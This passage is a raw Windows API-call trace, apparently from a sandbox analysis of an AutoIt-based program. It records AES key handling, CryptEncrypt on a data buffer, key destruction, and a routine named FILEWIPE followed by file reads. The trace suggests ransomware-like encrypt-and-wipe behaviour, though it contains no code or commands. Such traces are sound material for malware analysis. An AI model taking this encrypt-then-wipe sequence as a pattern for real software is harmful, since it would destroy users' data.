[0030.072] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.072] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.072] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0030.072] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064aa0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064aa0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.073] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.073] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.073] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x362d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3630) returned 1 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.074] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437d670*, pdwDataLen=0xe8f3dfdf68*=0x362d, dwBufLen=0x3630 | out: pbData=0xe8f437d670*, pdwDataLen=0xe8f3dfdf68*=0x3630) returned 1 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.074] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.074] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.074] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.075] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0030.075] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.075] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.076] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0030.076] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0030.076] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.076] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.076] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.076] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.076] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.076] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.077] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.077] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.077] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.078] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.078] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.078] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.078] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.078] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.078] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0030.078] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.078] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.078] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.078] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.078] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0030.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0xe8f417b1c0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0030.079] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptReleaseContext") returned 0x7ffe2a59e83c [0030.079] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0030.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.080] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.080] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.080] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0030.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.080] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.080] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.080] CloseHandle (hObject=0x1fc) returned 1 [0030.081] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.081] CloseHandle (hObject=0x188) returned 1 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.082] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.082] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.082] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.083] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0030.083] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0030.084] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.084] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0030.084] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12689) returned 1 [0030.084] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.084] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0030.084] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0030.084] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x3191, lpOverlapped=0x0) returned 1 [0030.084] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, 